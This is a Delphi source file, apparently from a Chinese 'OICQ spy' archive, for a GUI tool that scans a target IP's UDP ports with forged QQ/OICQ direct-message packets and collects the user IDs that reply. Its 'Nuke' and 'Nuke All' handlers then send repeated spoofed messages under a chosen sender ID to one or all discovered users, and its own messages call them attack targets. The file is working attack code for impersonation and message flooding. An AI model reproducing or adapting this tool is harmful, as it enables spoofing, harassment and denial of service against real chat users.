www.pudn.com > oicqspysrc.zip > CloneScan.pas


unit CloneScan; 
{$define DEBUGVERSION} 
//{$define REDUCE_VERSION} 
interface 
 
uses 
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, 
  StdCtrls, Spin, NMUDP, ExtCtrls, Menus,WinSock, ScktComp, ComCtrls; 
 
type 
  TPortScanParam=record 
    dwID,sinAddr:DWORD; 
    nStartPort,nStopPort,nStepPort:DWORD; 
    nLoopCnt,nTimeOut:Integer; 
    end; 
  PPortScanParam=^TPortScanParam; 
  TPortInfo=record 
    nIndex:Integer; 
    nPort:WORD; 
    strUID:string; 
    end; 
  TCloneScanDlg = class(TForm) 
    Label1: TLabel; 
    edIPAddr: TEdit; 
    Label2: TLabel; 
    PortList: TListBox; 
    btnStart: TButton; 
    Label3: TLabel; 
    Label4: TLabel; 
    edStartPort: TSpinEdit; 
    edStopPort: TSpinEdit; 
    edTimes: TSpinEdit; 
    edTimeOut: TSpinEdit; 
    Label5: TLabel; 
    Label6: TLabel; 
    btnClose: TButton; 
    PortUDP: TNMUDP; 
    OutTimer: TTimer; 
    Label7: TLabel; 
    edSrcId: TEdit; 
    btnNuke: TButton; 
    btnNukeAll: TButton; 
    ScanMenu: TPopupMenu; 
    mClear: TMenuItem; 
    mSave: TMenuItem; 
    SaveDlg: TSaveDialog; 
    Label8: TLabel; 
    edThreadNum: TSpinEdit; 
    btnPause: TButton; 
    Label9: TLabel; 
    lbTargetNumber: TLabel; 
    ProgBar: TProgressBar; 
    procedure PortUDPDataReceived(Sender: TComponent; NumberBytes: Integer; 
      FromIP: String; Port: Integer); 
    procedure OutTimerTimer(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
    procedure btnNukeClick(Sender: TObject); 
    procedure btnNukeAllClick(Sender: TObject); 
    procedure mClearClick(Sender: TObject); 
    procedure mSaveClick(Sender: TObject); 
    procedure FormDestroy(Sender: TObject); 
    procedure btnCloseClick(Sender: TObject); 
    procedure PortListKeyDown(Sender: TObject; var Key: Word; 
      Shift: TShiftState); 
    procedure btnStartClick(Sender: TObject); 
    procedure btnPauseClick(Sender: TObject); 
  private 
    { Private declarations } 
    info:array of TPortInfo; 
    nInfoCnt:Integer; 
//    nThreadId:LongWord; 
    nScanCnt:Integer; 
    nRunFlag:Integer; 
 
    ListLock:TMultiReadExclusiveWriteSynchronizer; 
    StatusLock:TMultiReadExclusiveWriteSynchronizer; 
     
    function CheckInput:Boolean; 
    function FindPortInfo(nPort:WORD):integer; 
 
{$ifndef REDUCE_VERSION} 
    function GetIdByIndex(index:Integer):string; 
    function GetIpByIndex(index:Integer):string; 
    function GetPortByIndex(Index:Integer):WORD; 
{$endif} 
    procedure DeletePortByIndex(Index:Integer); 
 
    procedure ProcessReponse(buf:array of char;buflen:Integer;fromIp:string;fromPort:WORD); 
//    procedure SendPackage; 
 
    procedure ShutdownThread; 
 
    procedure DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD); 
 
//    function GetTimeOutOfPeer(ip:String):Integer; 
    procedure ThreadPortScan; 
  public 
    { Public declarations } 
    FSocket:TSocket; 
    class procedure Execute(ip:string); 
  end; 
var 
    CloneScanDlg:TCloneScanDlg; 
 
implementation 
 
{$R *.DFM} 
uses data,info,NukeInfo, Main; 
var 
StopFlag:Boolean; 
function ThreadScanFunc(p:Pointer):Integer; 
var 
param:PPortScanParam; 
begin 
param:=p;   
CloneScanDlg.DoPortScan(param^.sinAddr,param^.nStartPort,Param^.nStopPort,param^.nLoopCnt,param^.nTimeOut); 
Dec(CloneScanDlg.nRunFlag); 
if(CloneScanDlg.nRunFlag=0)then 
    begin 
    CloneScanDlg.btnStart.Enabled:=True; 
    CloneScanDlg.btnPause.Enabled:=False; 
    end; 
FreeMem(p); 
Result:=0; 
end; 
function  ScanFunc(p:Pointer):Integer; 
var 
buf:array [0..2048] of char; 
fromaddr:TSockAddr; 
fromlen:Integer; 
buflen:Integer; 
//RetCode:DWORD; 
begin 
while(not StopFlag)do 
    begin 
    ZeroMemory(@fromaddr,sizeof(fromaddr)); 
    fromlen:=SizeOf(fromaddr); 
    buflen:=recvfrom(CloneScanDlg.FSocket,buf,2048,0,fromaddr,fromlen); 
    if(buflen<>SOCKET_ERROR)then 
        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port)); 
{    else 
        begin 
        //if retcode=10054 remote host close connection 
        //mean that ICMP DESTAINATION UNREACHEABLE 
        RetCode:=GetLastError; 
        end;} 
    end; 
Result:=0; 
end; 
 
 
function TCloneScanDlg.CheckInput: Boolean; 
begin 
result:=true; 
end; 
 
class procedure TCloneScanDlg.Execute(ip: string); 
begin 
if(CloneScanDlg<>nil)then 
    begin 
    CloneScanDlg.edIPAddr.Text:=ip; 
    CloneScanDlg.Show 
    end 
else 
    begin 
    CloneScanDlg:=TCloneScanDlg.Create(Application); 
    CloneScanDlg.edIPAddr.Text:=ip; 
    CloneScanDlg.Show; 
    end; 
end; 
 
procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent; 
  NumberBytes: Integer; FromIP: String; Port: Integer); 
var 
buf:array [0..2048] of char; 
len:Integer; 
begin 
PortUDP.ReadBuffer(buf,len); 
if(len>10)then 
    begin 
    ProcessReponse(buf,len,FromIp,Port); 
    end; 
end; 
 
procedure TCloneScanDlg.OutTimerTimer(Sender: TObject); 
begin 
{OutTimer.Enabled:=False; 
ShutdownThread; 
closesocket(FSocket); 
btnStart.Enabled:=True; 
lbStatus.caption:='扫描结果如下';} 
end; 
 
procedure TCloneScanDlg.FormCreate(Sender: TObject); 
begin 
nInfoCnt:=0; 
ListLock:=TMultiReadExclusiveWriteSynchronizer.Create; 
StatusLock:=TMultiReadExclusiveWriteSynchronizer.Create; 
end; 
 
function TCloneScanDlg.FindPortInfo(nPort: WORD): integer; 
var 
i:Integer; 
begin 
Result:=-1; 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nPort=nPort)then 
        begin 
        Result:=i; 
        break; 
        end; 
    end; 
end; 
 
procedure TCloneScanDlg.btnNukeClick(Sender: TObject); 
{$ifndef REDUCE_VERSION} 
var 
SrcId,msg:String; 
i,FaceNo,cnt:DWORD; 
{$endif} 
begin 
{$ifndef REDUCE_VERSION} 
if(PortList.Items.Count>0)then 
    begin 
    if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then 
        begin 
        for i:=0 to cnt do 
            begin 
            SendFakeMsg(SrcId,IntToStr(FaceNo),GetIdByIndex(PortList.ItemIndex), 
                GetIPByIndex(PortList.ItemIndex),GetPortByIndex(PortList.ItemIndex),msg,Date,Time); 
            end; 
        end; 
    end 
else 
    begin 
    ShowMessage('没有攻击对象!'); 
    end; 
{$else} 
ShowMessage('对不起!简版没有此功能'); 
{$endif} 
end; 
 
{$ifndef REDUCE_VERSION} 
function TCloneScanDlg.GetIdByIndex(index: Integer): string; 
var 
i:Integer; 
begin 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        Result:=info[i].strUID; 
        Break; 
        end; 
    end; 
end; 
 
function TCloneScanDlg.GetIpByIndex(index: Integer): string; 
begin 
Result:=edIPAddr.Text; 
end; 
 
function TCloneScanDlg.GetPortByIndex(Index: Integer): WORD; 
var 
i:Integer; 
begin 
Result:=4000; 
for i:=0 to nInfoCnt-1 do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        Result:=info[i].nPort; 
        Break; 
        end; 
    end; 
end; 
{$endif} 
procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject); 
{$ifndef REDUCE_VERSION} 
var 
SrcId,msg:String; 
i,j,FaceNo,cnt:DWORD; 
{$endif} 
begin 
{$ifndef REDUCE_VERSION} 
if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then 
    begin 
    for i:=0 to nInfoCnt-1 do 
        begin 
        for j:=0 to cnt do 
            begin 
            SendFakeMsg(SrcId,IntToStr(FaceNo),info[i].strUID, 
                edIPAddr.Text,info[i].nPort,msg,Date,Time); 
            end; 
        end; 
    end; 
{$else} 
ShowMessage('对不起!简版没有此功能.'); 
{$endif} 
end; 
 
procedure TCloneScanDlg.mClearClick(Sender: TObject); 
begin 
PortList.Clear; 
SetLength(info,0); 
nInfoCnt:=0; 
lbTargetNumber.Caption:='0'; 
end; 
 
procedure TCloneScanDlg.mSaveClick(Sender: TObject); 
begin 
if(SaveDlg.Execute)then 
    begin 
    if(Sender is TMenuItem)then 
        ( 
            ( 
                (Sender as TMenuItem).GetParentMenu as TPopupMenu 
            ).PopupComponent as TListBox 
        ).Items.SaveToFile(SaveDlg.FileName); 
    end; 
end; 
 
procedure TCloneScanDlg.FormDestroy(Sender: TObject); 
begin 
CloneScanDlg:=nil; 
end; 
 
procedure TCloneScanDlg.btnCloseClick(Sender: TObject); 
begin 
Close; 
end; 
 
procedure TCloneScanDlg.PortListKeyDown(Sender: TObject; var Key: Word; 
  Shift: TShiftState); 
var 
index:Integer; 
begin 
if(Key=VK_DELETE)then 
    begin 
    index:=PortList.ItemIndex; 
    DeletePortByIndex(index); 
    PortList.Items.Delete(PortList.ItemIndex); 
    PortList.ItemIndex:=index; 
    end; 
end; 
 
procedure TCloneScanDlg.ProcessReponse(buf: array of char; 
  buflen: Integer;fromIp:string;fromPort:WORD); 
var 
uid:string; 
i:Integer; 
begin 
uid:=''; 
if(buf[4]=chr($79))then//Direct msg Reponse 
    begin 
    for i:=7 to buflen -2 do 
        begin 
        uid:=uid+buf[i]; 
        end; 
    if(FindPortInfo(fromPort)<0)then 
        begin 
        Inc(nInfoCnt); 
        SetLength(info,nInfoCnt); 
        info[nInfoCnt-1].nPort:=fromPort; 
        info[nInfoCnt-1].strUID:=uid; 
        ListLock.BeginWrite; 
        info[nInfoCnt-1].nIndex:=PortList.Items.Add('Port:'+IntToStr(fromPort)+'  ID:'+uid); 
        lbTargetNumber.Caption:=IntToStr(nInfoCnt); 
        ListLock.EndWrite; 
        end; 
    end; 
end; 
 
{procedure TCloneScanDlg.btnStartClick(Sender: TObject); 
var 
addr:TSockAddr; 
begin 
if(not CheckInput)then Exit; 
btnStart.Enabled:=False; 
OutTimer.Enabled:=False; 
OutTimer.Interval:=edTimeOut.Value; 
FSocket:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); 
if(FSocket<>INVALID_SOCKET)then 
    begin 
    Addr.sin_family := AF_INET; 
    Addr.sin_addr.s_addr := INADDR_ANY; 
    Addr.sin_port := 0; 
    if(bind(FSocket,addr,sizeof(addr))<>SOCKET_ERROR)then 
        begin 
        StopFlag:=False; 
        if(BeginThread(nil,4096,ScanFunc,Pointer(FSocket),0,nThreadId)=NULL)then 
            begin 
            ShowMessage('Thread error'+IntToStr(GetLastError)); 
            end; 
        try 
            SendPackage; 
            lbStatus.Caption:='等待回答...'; 
            OutTimer.Enabled:=True; 
        except 
            ShutDownThread; 
            closesocket(FSocket); 
            btnStart.Enabled:=False; 
            end; 
        end; 
 
    end; 
end;} 
 
{procedure TCloneScanDlg.SendPackage; 
var 
addr:TSockAddr; 
port:WORD; 
ip:string; 
buflen,i:Integer; 
buf:array [0..2048] of char; 
begin 
ZeroMemory(@addr,sizeof(addr)); 
if(CheckInput)then 
    begin 
    lbStatus.Caption:='正在发送...'; 
    Refresh; 
    ip:=edIPAddr.Text; 
    for port:=edStartPort.Value to edStopPort.Value do 
        begin 
        Inc(nFakeCnt); 
        for i:=0 to edTimes.Value-1 do 
            begin 
            buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,''); 
            addr.sin_family:=AF_INET; 
            addr.sin_addr.S_addr:=inet_addr(PChar(ip)); 
            addr.sin_port:=htons(port); 
            if(sendto(FSocket,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then 
                begin 
                ShowMessage('Send error'+IntToStr(GetLastError)); 
                break; 
                end; 
            end; 
        end; 
    end; 
end;} 
 
procedure TCloneScanDlg.ShutdownThread; 
begin 
StopFlag:=TRUE; 
end; 
 
procedure TCloneScanDlg.DeletePortByIndex(Index: Integer); 
var 
i:Integer; 
begin 
for i:=0 to nInfoCnt do 
    begin 
    if(info[i].nIndex=index)then 
        begin 
        info[i].nPort:=0; 
        Break; 
        end; 
    end; 
end; 
 
procedure TCloneScanDlg.DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD); 
var 
addr:TSockAddr; 
s:TSocket; 
RecvTimeOut,i:Integer; 
buf:array [0..2048] of char; 
fromaddr:TSockAddr; 
fromlen:Integer; 
buflen:Integer; 
ErrCode:Integer; 
port:WORD; 
begin 
if(not CheckInput)then Exit; 
s:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); 
RecvTimeOut:=TimeOut; 
if(s<>INVALID_SOCKET)then 
    begin 
    Addr.sin_family := AF_INET; 
    Addr.sin_addr.s_addr := INADDR_ANY; 
    Addr.sin_port := 0; 
    if(bind(s,addr,sizeof(addr))<>SOCKET_ERROR)then 
        begin 
        if(SOCKET_ERROR=setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,@RecvTimeOut,sizeof(RecvTimeOut)))then 
            begin 
            ShowMessage('setsockopt error:'+IntToStr(GetLastError)); 
            end 
        else 
            begin 
//            lbStatus.Caption:='正在扫描...'; 
             
            for port:=StartPort to EndPort do 
                begin 
                Inc(nFakeCnt); 
                StatusLock.BeginWrite; 
                Inc(nScanCnt); 
//                lbStatus.Caption:='已扫描端口个数:'+IntToStr(nScanCnt); 
//                lbStatus.Repaint; 
                if((nScanCnt mod 10)=9)then 
                    begin 
                    ProgBar.StepIt; 
                    end; 
                if(nScanCnt=(edStopPort.Value-edStartPort.Value))then 
                    begin 
                    ProgBar.Position:=ProgBar.Max; 
                    end; 
                StatusLock.EndWrite; 
                for i:=0 to LoopCnt-1 do 
                    begin 
                    //sending ..... 
                    buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,''); 
                    addr.sin_family:=AF_INET; 
                    addr.sin_addr.S_addr:=sinAddr; 
                    addr.sin_port:=htons(port); 
                    if(sendto(s,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then 
                        begin 
                        ShowMessage('Send error'+IntToStr(GetLastError)); 
                        break; 
                        end; 
                    //recv... 
                    ZeroMemory(@fromaddr,sizeof(fromaddr)); 
                    fromlen:=SizeOf(fromaddr); 
                    buflen:=recvfrom(s,buf,2048,0,fromaddr,fromlen); 
                    if(buflen<>SOCKET_ERROR)then 
                        begin//Get it! 
                        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port)); 
                        Break;//Let 's scan next port 
                        end 
                    else 
                        begin 
                        ErrCode:=GetLastError; 
                        if(ErrCode=10054)then 
                            begin 
                            //ICMP report destination unrecheable,let's scan next port 
                            Break; 
                            end; 
                        end; 
                    end;//end for LoopCnt 
                Application.ProcessMessages; 
                if(StopFlag)then Break; 
                end;//End for port 
            end; 
        end 
    else//bind error 
        begin 
        ErrCode:=GetLastError; 
        ShowMessage('Bind error'+IntToStr(ErrCOde)); 
        end; 
    closesocket(s); 
    end; 
end; 
 
procedure TCloneScanDlg.btnStartClick(Sender: TObject); 
begin 
if(not CheckInput)then Exit; 
nRunFlag:=edThreadNum.Value; 
nScanCnt:=0; 
StopFlag:=False; 
if(edStopPort.Value<=ProgBar.Min)then 
    begin 
    ProgBar.Min:=edStartPort.Value; 
    ProgBar.Max:=edStopPort.Value; 
    end 
else 
    begin 
    ProgBar.Max:=edStopPort.Value; 
    ProgBar.Min:=edStartPort.Value; 
    end; 
if((edStopPort.Value-edStartport.Value)<50)then 
    ProgBar.Step:=1 
else ProgBar.Step:=10; 
 
btnStart.Enabled:=False; 
btnPause.Enabled:=True; 
ThreadPortScan; 
Application.ProcessMessages; 
end; 
 
procedure TCloneScanDlg.btnPauseClick(Sender: TObject); 
begin 
ShutDownThread; 
end; 
 
{function TCloneScanDlg.GetTimeOutOfPeer(ip: String): Integer; 
begin 
Result:=500; 
end;}  
 
procedure TCloneScanDlg.ThreadPortScan; 
var 
i:DWORD; 
//hThreads:array of LongWord; 
nThreadId:LongWord; 
param:PPortScanParam; 
step:DWORD; 
LastPort:WORD; 
begin 
//SetLength(hThreads,edThreadNum.Value); 
step:=(edStopPort.Value-edStartPort.Value) div edThreadNum.Value; 
LastPort:=edStartPort.Value; 
 
for i:=0 to edThreadNum.Value-2 do 
    begin 
    param:=AllocMem(SizeOf(TPortScanParam)); 
    param.sinAddr:=inet_addr(PChar(edIPAddr.Text)); 
    param.dwID:=StrToIntDef(edSrcId.Text,0); 
    param.nLoopCnt:=edTimes.Value; 
    param.nTimeOut:=edTimeOut.Value; 
    param.nStartPort:=DWORD(edStartPort.Value)+i*step; 
    param.nStopPort:=param.nStartPort+step-1; 
    param.nStepPort:=step; 
    LastPort:=param.nStopPort+1; 
    if(BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId)=NULL)then 
        begin 
        ShowMessage('Begin Thread error'+IntToStr(GetLastError)); 
        Break; 
        end; 
    end; 
param:=AllocMem(SizeOf(TPortScanParam)); 
param.sinAddr:=inet_addr(PChar(edIPAddr.Text)); 
param.dwID:=StrToIntDef(edSrcId.Text,0); 
param.nLoopCnt:=edTimes.Value; 
param.nTimeOut:=edTimeOut.Value; 
param.nStartPort:=LastPort; 
param.nStopPort:=edStopPort.Value; 
param.nStepPort:=step; 
BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId); 
end; 
 
end.